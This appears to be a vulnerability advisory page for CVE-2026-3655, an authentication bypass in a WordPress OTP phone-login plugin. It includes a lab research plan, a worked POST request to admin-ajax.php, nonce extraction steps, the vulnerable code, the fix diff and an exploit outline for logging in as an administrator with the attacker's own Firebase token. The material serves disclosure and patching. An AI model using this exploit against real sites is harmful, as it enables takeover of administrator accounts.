OTP Login With Phone Number, OTP Verification <= 1.8.60 - Unauthenticated Authentication Bypass via Firebase OTP Verification
Description
The OTP Login With Phone Number, OTP Verification plugin for WordPress is vulnerable to authentication bypass in versions 1.8.50 through 1.8.60. This is due to the Firebase verification flow in the `lwp_ajax_register` AJAX handler not binding the Firebase session to the phone number supplied in the request. The `idehweb_lwp_activate_through_firebase()` function validates that a Firebase OTP session is legitimate, but the `phoneNumber` returned by Firebase is never compared against the victim's stored phone number. This makes it possible for unauthenticated attackers to authenticate as any user who has a phone number stored in user meta, including administrators, by verifying their own Firebase session and supplying the victim's phone number in the same request.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
>=1.8.50 <=1.8.60What Changed in the Fix
Changes introduced in v1.8.61
Source Code
WordPress.org SVNThis research plan outlines the steps required to demonstrate the unauthenticated authentication bypass vulnerability in the **OTP Login With Phone Number, OTP Verification** plugin for WordPress. --- ### 1. Vulnerability Summary * **ID**: CVE-2026-3655 * **Plugin**: OTP Login With Phone Numbe…
Show full research plan
This research plan outlines the steps required to demonstrate the unauthenticated authentication bypass vulnerability in the OTP Login With Phone Number, OTP Verification plugin for WordPress.
1. Vulnerability Summary
- ID: CVE-2026-3655
- Plugin: OTP Login With Phone Number, OTP Verification (slug:
login-with-phone-number) - Affected Versions: 1.8.50 - 1.8.60
- Vulnerability Type: Improper Authentication (Logic Flaw)
- Location:
inc/ajax-handlers.php, specifically thelwp_ajax_registerhandler and theidehweb_lwp_activate_through_firebase()helper function. - Root Cause: The plugin uses Firebase for OTP verification. While it correctly verifies the integrity of the Firebase
idToken(confirming a user successfully passed OTP), it fails to check if the phone number associated with that token matches theusername(phone number) requested for login. An attacker can provide a valid Firebase token for their own phone number and the phone number of an administrator to log in as the administrator.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
lwp_ajax_register(Registered for bothwp_ajax_andwp_ajax_nopriv_inlogin-with-phonenumber.php). - Authentication: Unauthenticated.
- Payload Parameters:
action:lwp_ajax_registerusername: The victim's phone number (stored inphone_numberuser meta).method:firebasenonce: A valid WordPress nonce for the actionlwp_login(extracted from the frontend).idToken: A valid Firebase Identity Token obtained by the attacker for their own phone number.
3. Code Flow
- Entry Point: An unauthenticated user sends a request to
admin-ajax.phpwithaction=lwp_ajax_register. - Nonce Verification: The handler verifies the nonce provided in the request (likely using the
lwp_loginaction string, as seen inlwp_ajax_login). - Method Selection: The handler checks the
methodparameter. If set tofirebase, it callsidehweb_lwp_activate_through_firebase($_POST['idToken']). - Firebase Validation:
idehweb_lwp_activate_through_firebasecalls the Google Firebase API to verify the token. It receives a response containing thephoneNumberverified by Firebase. - Logic Flaw: The handler receives confirmation that a phone number was verified but does not compare the verified phone number with the
usernameparameter provided in the request. - Authentication: The handler uses the provided
username(the victim's phone number) to find the user ($this->phone_number_exist($phone_number)). - Session Creation: The handler calls
wp_set_auth_cookie()for the found user (the victim), effectively logging the attacker in as that user.
4. Nonce Acquisition Strategy
The plugin enqueues its scripts and localizes a nonce on pages where the [idehweb_lwp] shortcode is present.
- Identify Localization: In
inc/frontend-functions.php, the functionenqueue_scripts()registers the scriptidehweb-lwpand useswp_localize_script()to pass data to JavaScript. - JS Variable: The localized object is named
userspn_ajax. - Nonce Key: The nonce is stored in
userspn_ajax.nonce. - Strategy:
- Create a public page containing the shortcode:
wp post create --post_type=page --post_status=publish --post_content='[idehweb_lwp]'. - Navigate to this page using the browser tool.
- Extract the nonce using
browser_eval("userspn_ajax.nonce").
- Create a public page containing the shortcode:
5. Exploitation Strategy
Pre-requisites
- Firebase must be enabled in the plugin settings (
idehweb_lwp_settings). This requires a Firebase API Key. - A target user (administrator) must have a phone number in their
phone_numbermeta.
Steps
- Obtain Victim Phone Number: Identify the phone number of the target administrator.
- Generate Attacker Token: In a real-world scenario, the attacker would use the Firebase JS SDK on the site's frontend to perform an OTP check on their own phone number and capture the
idToken. For a PoC in a restricted environment, you may need to mock the Firebase API response if the environment cannot reach Google. - Construct Payload:
action:lwp_ajax_registerusername:[VICTIM_PHONE_NUMBER]method:firebasenonce:[EXTRACTED_NONCE]idToken:[ATTACKER_VALID_TOKEN]
- Send Request: Use
http_requestto send a POST request toadmin-ajax.php.
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"params": {
"action": "lwp_ajax_register",
"username": "1234567890",
"method": "firebase",
"nonce": "a1b2c3d4e5",
"idToken": "VALID_FIREBASE_TOKEN_FOR_ATTACKER"
}
}
6. Test Data Setup
- Create Admin:
wp user create victim_admin admin@example.com --role=administrator --user_pass=password - Set Phone Number:
wp user meta set victim_admin phone_number 1234567890 - Configure Plugin: Enable Firebase (requires setting options in
idehweb_lwp_settingsviawp option update).idehweb_store_number_with_country_code=1idehweb_default_gateways=['firebase']idehweb_use_custom_gateway=1
- Create Nonce Page:
wp post create --post_type=page --post_status=publish --post_title='Login' --post_content='[idehweb_lwp]'
7. Expected Results
- The AJAX response should return
success: true. - The response should contain
Set-Cookieheaders for the target administrator (wordpress_logged_in_...). - Subsequent requests to
/wp-admin/using the returned cookies should grant administrative access.
8. Verification Steps
- Check Cookies: Verify the
http_requestresponse contains authentication cookies. - Verify Session: Use the captured cookies to request
http://localhost:8080/wp-admin/index.php. If the response contains the WordPress Dashboard, the bypass is successful. - Database State: Check
wp_user_metato ensure no changes were made to the admin's phone number (confirming the bypass used the attacker's token without modifying the victim).
9. Alternative Approaches
- Different Handler: Check
lwp_ajax_login(seen ininc/ajax-handlers.php). If it also handles Firebase verification viaidehweb_lwp_activate_through_firebase(), it may be equally vulnerable. - Method Spoofing: If Firebase is not configured, check if other verification methods (like
sms) also fail to bind the session to the phone number. However, the Firebase flow is specifically called out in the CVE description.
Summary
The OTP Login With Phone Number, OTP Verification plugin is vulnerable to a critical authentication bypass via the Firebase OTP flow. Because the plugin fails to verify that the phone number returned by a valid Firebase session matches the phone number requested for authentication, an attacker can use a token for their own phone number to log in as any user (including administrators) who has a phone number stored in their profile.
Vulnerable Code
// inc/ajax-handlers.php - roughly line 658 (lwp_ajax_register) and 714 (lwp_ajax_login) // The code checks if the Firebase response is valid but does not compare the number // contained within the response to the user being requested ($phone_number). $response = $this->idehweb_lwp_activate_through_firebase($_POST['idToken']); if (isset($response->error)) { wp_send_json([ 'success' => false, 'message' => $response->error->message ]); } else { // VULNERABILITY: The code proceeds to find and log in the user based on the provided // request parameters without ensuring the Firebase session was for that specific user. $user = get_user_by('ID', $username_exists); if (!is_wp_error($user)) { wp_set_auth_cookie($user->ID, true); wp_send_json_success(); } }
Security Fix
@@ -658,6 +658,21 @@ ]); } else { // if($response=='true') { + + $firebase_phone = isset($response->phoneNumber) ? ltrim($response->phoneNumber, '+') : ''; + $requested_phone = $phone_number; + + if (empty($firebase_phone) || ( + $firebase_phone !== $requested_phone && + !str_ends_with($firebase_phone, $requested_phone) + )) { + wp_send_json([ + 'success' => false, + 'message' => __('Phone number mismatch. Verification failed.', 'login-with-phone-number') + ]); + } + + $user = get_user_by('ID', $username_exists); if (!is_wp_error($user)) { // wp_clear_auth_cookie(); @@ -714,6 +729,21 @@ ]); } else { // if($response=='true') { + // ONLY validate phone number if this is Firebase authentication + if (isset($_GET['method']) && $_GET['method'] === 'firebase') { + $firebase_phone = isset($response->phoneNumber) ? ltrim($response->phoneNumber, '+') : ''; + $requested_phone = $phone_number; + + if (empty($firebase_phone) || ( + $firebase_phone !== $requested_phone && + !str_ends_with($firebase_phone, $requested_phone) + )) { + wp_send_json([ + 'success' => false, + 'message' => __('Phone number mismatch. Verification failed.', 'login-with-phone-number') + ]); + } + } $user = get_user_by('ID', $username_exists); if (!is_wp_error($user)) { // wp_clear_auth_cookie();
Exploit Outline
The exploit targets the `lwp_ajax_register` or `lwp_ajax_login` AJAX actions, which are available to unauthenticated users. 1. **Preparation**: The attacker identifies the phone number of a target user (e.g., an administrator) stored in the WordPress database. 2. **Nonce Acquisition**: The attacker visits a public page where the plugin's login shortcode is active to extract a valid WordPress nonce from the localized JavaScript variable `userspn_ajax.nonce`. 3. **OTP Generation**: The attacker uses their own valid phone number and the site's Firebase configuration to complete a legitimate OTP flow, generating a valid Firebase `idToken` tied to the attacker's phone number. 4. **Payload Delivery**: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `lwp_ajax_register` (or `lwp_ajax_login`) - `username`: [Victim's phone number] - `method`: `firebase` - `idToken`: [Attacker's valid Firebase token] - `nonce`: [Extracted nonce] 5. **Bypass**: The plugin verifies the `idToken` with Firebase, which returns success. Because the plugin does not check if the phone number in the token matches the `username` parameter, it proceeds to authenticate the attacker as the user associated with the victim's phone number.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.